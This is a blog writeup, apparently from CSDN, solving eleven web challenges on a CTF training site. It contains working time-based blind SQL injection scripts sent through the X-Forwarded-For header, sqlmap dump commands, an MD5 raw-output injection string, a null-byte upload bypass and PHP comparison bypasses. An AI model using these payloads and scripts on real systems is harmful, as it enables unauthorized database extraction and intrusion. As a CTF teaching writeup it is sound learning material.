您的位置:首页 > 其它

实验吧CTF(Web)-writeup

2019-03-29 22:01 405 查看
版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。 本文链接:https://blog.csdn.net/Lebenslang/article/details/88902884

实验吧CTF(Web)-writeup

  • 4.这个看起来有点简单
  • 5.NSCTF web200
  • 6.头有点大
  • 7.看起来有点难
  • 8.上传绕过
  • 9.Guess Next Session
  • 10.FALSE
  • 11.你真的会PHP吗?
  • 从今天开始做实验吧的Web题,每天一道(◦ "̮ ◦)

    1.后台登录


    题目链接: http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

    进入题目,界面很简单,一个输入框用来输入密码,点击提交查询跳转

    随便输入一个123测试一下,显示密码错误!
    F12查看一下源码,发现注释掉的一段文字:

    $password=$_POST['password'];
    $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
    $result=mysqli_query($link,$sql);
    if(mysqli_num_rows($result)>0){
    echo 'flag is :'.$flag;
    }
    else{
    echo '密码错误!';
    }

    md5($password,true)
    将MD5值转化为了十六进制
    首先我们需要找到一个字符串,这个字符串经过md5得到的16位字符串需能实现sql注入。根据sql注入知识知道字符串通常包含or,还需匹配select语句中的引号,最终得出我们需要的字符串应包含 or ’ <xxxxxx> 。
    满足这样的字符串很难找到,题目url中 “ ffifdyop ”恰好满足要求。将ffifdyop输入密码框,成功得到flag。

    2.天下武功唯快不破


    题目链接: http://ctf5.shiyanbar.com/web/10/10.php

    题目提示是 看响应头
    进入题目,只有两行文字,提示要求速度快,猜测可能是上传数据的速度。
    F12查看源码,有一行被注释掉的提示

    将找到的数据使用参数 key POST上传

    根据题目提示,使用burpsuite抓包查看响应头(可以直接在firebox网络中查看)
    发现FLAG,根据

    ==
    得知用base64解码,得到P0ST_THIS_T0_CH4NGE_FL4G:HEO8n49Uq

    使用hackbar插件发送POST请求
    key==HEO8n49Uq

    无事发生.jpg
    重新来一次发现响应头中的FLAG内容变了(*゚Д゚)つミ匚___
    这时就知道题目说的“快”是什么意思了

    接下来就需要上脚本了 (⊙_⊙;)

    import requests
    import base64
    
    url = 'http://ctf5.shiyanbar.com/web/10/10.php'
    result = requests.get(url)
    flag = base64.b64decode(result.headers['flag']).split(':')[1]
    val = {'key': flag}
    ans = requests.post(url=url, data=val)
    print ans.text

    运行,成功得到flag ♪(´▽`)

    3.who are you


    题目链接: http://ctf5.shiyanbar.com/web/wonderkun/index.php

    进入题目,显示出本机的IP地址。

    尝试伪造IP头,这里使用在HTTP请求头中添加X-Forwarded-For来伪造IP
    (伪造IP头的几种方法见 https://blog.csdn.net/qq_40657585/article/details/83755393
    发现返回了输入的内容,尝试后发现逗号被过滤并截掉了逗号后的内容

    题目提示信息是“我要把攻击我的人都记录db中去!”,猜测X-Forwarded-For的值先被写入数据库再select出来。

    没有任何提示信息,尝试时间盲注

    时间盲注:利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。

    获取数据库名称长度

    设置timeout为5秒,如果连接超时,则状态码和length一栏为空。由此可以判断连接是否超时
    由于逗号被过滤 (SQL注入之逗号拦截绕过 https://www.cnblogs.com/nul1/p/9333599.html ),构造语句

    select 字段='1' and (select case when (length(database())=4) then sleep(5) else 1 end) and '1'='1

    payload = 1' and (select case when (length(database())=4) then sleep(5) else 1 end) and '1'='1

    最后得到数据库名称长度为4

    获取数据库名称

    使用python脚本爆出数据库名,代码如下:

    import requests
    import string
    
    url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
    str_all=string.lowercase + string.uppercase + string.digits
    db_name=''
    print str_all
    result = requests.get(url)
    
    for i in range(1,5):
    for str in str_all:
    headers={"x-forwarded-for":"1'and (select case when (substr(database() from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1" % (i,str)}
    try:
    res=requests.get(url,headers=headers,timeout=5)
    except requests.exceptions.ReadTimeout,e:
    db_name=db_name+str
    print "database name:",db_name
    break
    
    print 'result:',db_name


    得到数据库名为web4

    获取表名

    和获取数据库名类似。可能有多个表,所以要多加一个循环,使用偏移量offset来选定相应的表
    脚本如下:

    # -*- coding: utf-8 -*-
    import requests
    import string
    
    url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
    str_all = string.lowercase + string.punctuation
    tables = ''
    
    result = requests.get(url)
    
    for no in range(0, 2):  # 假定有3个表
    
    table_name = ''
    for i in range(1, 5): #先得到表名的一部分进行选择猜测
    for str in str_all:
    headers = {
    "x-forwarded-for": "1'and (select case when (substr((select table_name from information_schema.tables where table_schema='web4' limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1" % (no, i, str)}
    try:
    print headers
    res = requests.get(url, headers=headers, timeout=4)
    except requests.exceptions.ReadTimeout, e:
    table_name = table_name+str
    print "table name:", table_name
    break
    tables = tables+table_name+'\t'
    print 'result:', tables

    运行得到clien…和flag两个表名,很显然对我们有用的是flag表名

    获得字段名

    同上,就不再写了。其中:

    headers = { "x-forwarded-for": "1'and (select case when (substr((select column_name from information_schema.columns where table_name='flag' limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1" % (no, i, str)}

    最后得到flag字段为所需字段名 。

    获取flag长度

    同获取数据库名长度类似,脚本如下:

    # -*- coding: utf-8 -*-
    import requests
    import string
    
    url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
    str_all = string.lowercase + string.punctuation
    m_length=0
    
    result = requests.get(url)
    
    for i in range(0, 50):
    headers = {
    "x-forwarded-for": "1' and (select case when (select length(flag) from flag limit 1)=%d then sleep(5) else 1 end) and '1'='1" % (i)}
    try:
    res = requests.get(url, headers=headers, timeout=4)
    print headers
    except requests.exceptions.ReadTimeout, e:
    m_length = i
    break
    print 'result:', i

    得到数据长度为32

    获取flag

    最后一步就是要获取flag,方法和获取数据库名一样,暴力破解
    脚本如下:

    import requests
    import string
    
    url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
    str_all = string.lowercase + string.uppercase + string.digits
    flag = ''
    
    result = requests.get(url)
    
    for i in range(1, 33):
    for str in str_all:
    headers = {
    "x-forwarded-for": "1'and (select case when (substr((select flag from flag limit 1) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1" % (i, str)}
    try:
    res = requests.get(url, headers=headers, timeout=4)
    except requests.exceptions.ReadTimeout, e:
    flag = flag+str
    print "database name:", flag
    break
    
    print 'result:', flag

    运行后获得flag:cdbf14c9551d5be5612f7bb5d2867853

    参考:
    https://www.jianshu.com/p/5d34b3722128
    https://www.cnblogs.com/qincan4Q/p/9684032.html
    https://www.geek-share.com/detail/2739712774.html

    4.这个看起来有点简单


    题目链接: http://ctf5.shiyanbar.com/8/index.php?id=1

    进入题目,显示表格, 看样子题目是SQL注入
    使用sqlmap进行SQL注入

    1. 首先获取数据库
    python sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 --dbs


    得到数据库有 information_schema、my_db、test三个
    看出有用的是my_db

    1. 获取my_db中的表名
    python sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db --tables

    得到表名news、thiskey
    显然要使用thiskey

    1. 获取字段名
    python sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db -T thiskey --columns

    得到字段k0y

    1. 获取flag
    python sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db -T thiskey -C k0y --dump


    成功获得flag:whatiMyD91dump

    5.NSCTF web200


    题目链接: http://ctf5.shiyanbar.com/web/web200.jpg

    进入题目,是一张图片,上面是一段php代码,要求对密文解密。

    读php代码,涉及的函数有:

    • strrev(str):对字符串进行翻转
    • substr(str, start, length):取字符串子串
    • ord(str):返回字符串第一个字符的ASCII码
    • chr(int):返回ASCII码对应的字符
    • base64_encode(str):对字符串进行base64编码
    • str_rot13(str):对字符串进行rot13编码/解码

    所以这段php代码的作用是:
    首先将传入的字符串翻转,再将翻转后的字符串中的字符ASCII码值加1。将得到的新字符串用base64加密,再将加密后的字符串翻转,最后将得到的字符串用rot13加密。

    我们只需要将过程逆推一遍即可得到解密的字符串。
    php代码如下:

    <?php
    $initial_str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
    $initial_str=str_rot13($initial_str);
    $initial_str=strrev($initial_str);
    $initial_str=base64_decode($initial_str);
    $new_str='';
    for($i=0;$i<strlen($initial_str);$i++){
    $j=substr($initial_str,$i,1);
    $z=ord($j)-1;
    $j=chr($z);
    $new_str=$new_str.$j;
    }
    echo strrev($new_str)
    ?>

    运行得到flag

    6.头有点大


    题目链接: http://ctf5.shiyanbar.com/sHeader/

    进入题目,显示Forbideen,给的提示是


    修改http请求头即可

    在User-Agent中添加 .NET CLR 9.9;IE 对应要求中的安装.net framework 9.9和使用IE浏览器

    在英国地区这一点,我开始的想法是伪造IP地址,试了下不可行。
    然后看了别人的WP,原来只需要修改Accept-Language,将en-gb作为首选项即可。

    这些可以在firefox中直接修改,也可在burpsuite中抓包修改。
    最后得到flag

    7.看起来有点难

    题目链接: http://ctf5.shiyanbar.com/basic/inject

    进入题目,显示一个登录框,和几条报错信息(题目好像有点问题?)
    用sqlmap跑了一下,发现可以时间盲注
    (看其他的writeup可以直接用sqlmap爆出来,这里失败了,不知道为什么(눈_눈))

    最后得出password
    脚本如下:

    import requests
    import string
    str_all = string.lowercase + string.uppercase + string.digits
    flag = ''
    
    for i in range(1, 10):
    for str in str_all:
    url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(5) else 1 end and ''='&pass=&action=login" % (
    i, str)
    try:
    res = requests.get(url, timeout=5)
    except requests.exceptions.ReadTimeout, e:
    flag = flag+str
    print " re:", flag
    break
    
    print 'result:', flag

    8.上传绕过

    题目链接: http://ctf5.shiyanbar.com/web/upload

    进入题目,简单的文件上传提交按钮

    随便上传一个txt文件,提示仅允许上传jpg,gif,png后缀的文件

    上传一个1.jpg试下,又返回提示需要上传后缀名为php的文件 (╯‵□′)╯︵┻━┻

    题目是上传绕过,最常见的就是%00截断。

    %00截断原理
    截断的核心,就是 chr(0)这个字符
    先说一下这个字符,这个字符不为空 (Null),也不是空字符 (""),更不是空格。
    当程序在输出含有 chr(0)变量时
    chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致漏洞产生
    (这篇博客写的很详细 参考一下 https://blog.csdn.net/zpy1998zpy/article/details/80545408

    先用Burpsuite抓包,然后Send to Repeater
    尝试修改filename,在这里截断,失败了。
    再尝试修改上传路径

    在hex中将php.jpg中的.的2e改为00

    然后Go,成功得到flag

    9.Guess Next Session


    题目链接: http://ctf5.shiyanbar.com/web/Session.php

    进入题目,三个随机的数字,一个输入框用来输入猜测的下一个数字进行提交。

    点击View the source code查看源码

    <?php
    session_start();
    if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
    die ('Flag: '.$flag);
    else
    print '<p>Wrong guess.</p>';
    }
    
    mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
    ?>

    首先了解一下php中的Sessions:

    PHP Session 变量
    当您运行一个应用程序时,您会打开它,做些更改,然后关闭它。这很像一次会话。计算机清楚你是谁。它知道你何时启动应用程序,并在何时终止。但是在因特网上,存在一个问题:服务器不知道你是谁以及你做什么,这是由于 HTTP 地址不能维持状态。
    通过在服务器上存储用户信息以便随后使用,PHP session 解决了这个问题(比如用户名称、购买商品等)。不过,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久储存信息,可以把数据存储在数据库中。
    Session 的工作机制是:为每个访问者创建一个唯一的 id (UID),并基于这个 UID 来存储变量。UID 存储在 cookie 中,亦或通过 URL 进行传导。

    得知这三个随机数是根据cookie来生成的,所以只需要改变cookie的值为空,提交的password也为空即可符合条件。

    使用Firefox修改cookie值并发送请求
    返回flag

    10.FALSE


    题目链接: http://ctf5.shiyanbar.com/web/false.php

    进入题目,两个输入框输入用户名、密码。

    点击View the source code查看源码

    <?php
    if (isset($_GET['name']) and isset($_GET['password'])) {
    if ($_GET['name'] == $_GET['password'])
    echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
    die('Flag: '.$flag);
    else
    echo '<p>Invalid password.</p>';
    }
    else{
    echo '<p>Login first!</p>';
    ?>

    首先了解一下sha1算法:

    PHP sha1()函数
    sha1() 函数计算字符串的 SHA-1 散列。
    sha1() 函数使用美国 Secure Hash 算法 1。
    来自 RFC 3174 的解释 - 美国 Secure Hash 算法 1:SHA-1 产生一个名为报文摘要的 160 位的输出。报文摘要可以被输入到一个可生成或验证报文签名的签名算法。对报文摘要进行签名,而不是对报文进行签名,这样可以提高进程效率,因为报文摘要的大小通常比报文要小很多。数字签名的验证者必须像数字签名的创建者一样,使用相同的散列算法。

    在这里简单总结一下利用md5()和sha1()函数的漏洞:

    • PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
    • md5()和sha1()不能处理数组。

    本题可通过上传数组的方式绕过。
    提交http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2
    得到flag

    11.你真的会PHP吗?

    题目链接: http://ctf5.shiyanbar.com/web/PHP/index.php

    打开链接,只有一句 have a fun!!
    查看源码和请求头,在请求头中发现了hint:6c525af4059b4fe7d8c33a.txt
    访问文件6c525af4059b4fe7d8c33a.txt,是一段php代码,进行代码审计:

    <?php
    
    $info = "";
    $req = [];
    $flag="xxxxxxxxxx";
    
    ini_set("display_error", false);
    error_reporting(0);
    
    if(!isset($_POST['number'])){
    header("hint:6c525af4059b4fe7d8c33a.txt");
    
    die("have a fun!!");
    }
    
    //遍历POST。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。
    foreach([$_POST] as $global_var) {
    //同上,同时当前单元的键名也会在每次循环中被赋给变量 $key。
    foreach($global_var as $key => $value) {
    $value = trim($value); //去除value两侧的空白字符或其他预定义字符
    is_string($value) && $req[$key] = addslashes($value); //addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
    }
    }
    
    //函数功能:判断是否为回文数字(如121)
    function is_palindrome_number($number) {
    $number = strval($number);//字符串转换函数
    $i = 0;
    $j = strlen($number) - 1;
    while($i < $j) {
    if($number[$i] !== $number[$j]) {
    return false;
    }
    $i++;
    $j--;
    }
    return true;
    }
    
    //判断是否为数字
    if(is_numeric($_REQUEST['number'])){
    
    $info="sorry, you cann't input a number!";
    
    }elseif($req['number']!=strval(intval($req['number']))){     //intval() 函数用于获取变量的整数值
    
    $info = "number must be equal to it's integer!! ";
    
    }else{
    
    $value1 = intval($req["number"]);
    $value2 = intval(strrev($req["number"]));  //strrev()反转字符串
    
    if($value1!=$value2){
    $info="no, this is not a palindrome number!";
    }else{
    
    if(is_palindrome_number($req["number"])){
    $info = "nice! {$value1} is a palindrome number!";
    }else{
    $info=$flag;
    }
    }
    
    }
    
    echo $info;
    ?>

    由此可知,题目要求:

    1. 不是数值型数字 is_numeric()
    2. 不能是回文数 is_palindrome_number
    3. 该数字翻转后的值应与本来的值相等
    • intval()函数返回的最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。所以intval(strrev(‘2147483647’))在将2147483647翻转后由于超过了最大值2147483647,返回值仍为2147483647,这样可满足2、3点。
    • 函数 is_numeric() 对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。
      从 is_numeric() 函数源码(下图)可看出对于第一个空格字符会跳过空格字符,再进行后面的判断。
      所以我们可以构造number=%002147483647或number=2147483647%20

    使用Firefox的hackbar提交POST数据,成功得到flag

    内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
    标签: